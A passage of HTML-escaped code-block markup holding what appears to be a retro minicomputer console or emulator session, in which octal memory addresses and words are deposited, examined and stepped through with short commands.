style=\"display:flex;\"\u003e\u003cspan\u003e!306/000306 007000 6000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100306 100300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!330/000330 000000 020347\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000331 000000 061126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000332 000000 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000333 000000 000332\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000334 000000 060626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000335 000000 024350\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000336 000000 030351\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337 000000 065226\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340 000000 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000341 000000 000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342 000000 060626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343 000000 113414\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000344 000000 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345 000000 104010\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346 000000 000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000347 000000 007000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000350 000000 006000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000351 000000 000040\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100306 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 136142\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 000040\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100337 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000331\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 007000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000332\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000334\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000335\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000336\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 006000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 000040\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 006000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 006001\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00337\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00342\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00343\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!6a 000006A 021076\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100343 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 131427\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 061126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000302 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000303 000302\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000304 064626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000305 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306 006000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!306/000306 006000 6400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100340 100300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 016000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100306 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000331\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000332\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000333\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000332\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000334\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000335\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!337/000337 065226 065126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!342/000342 060626 060726\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100335 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000345\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 014007\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!352/000352 177046\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000353 035177\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000354 003333\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000355 107504\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000356 021543\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357 064475\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000360 072005\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000361 043061\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000362 005461\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000363 163733\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000364 113115\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000365 010477\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000366 010423\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000367 102400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000370 110630\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000371 046400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000372 016153\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!352/000352 177046 113414\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!353/000353 035177 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000354 003333 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!2a 000002A 000040\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000 177777\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100345 352\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000352 100352\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000353\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 177777 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100353 100352\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000354\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000000 40\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100354 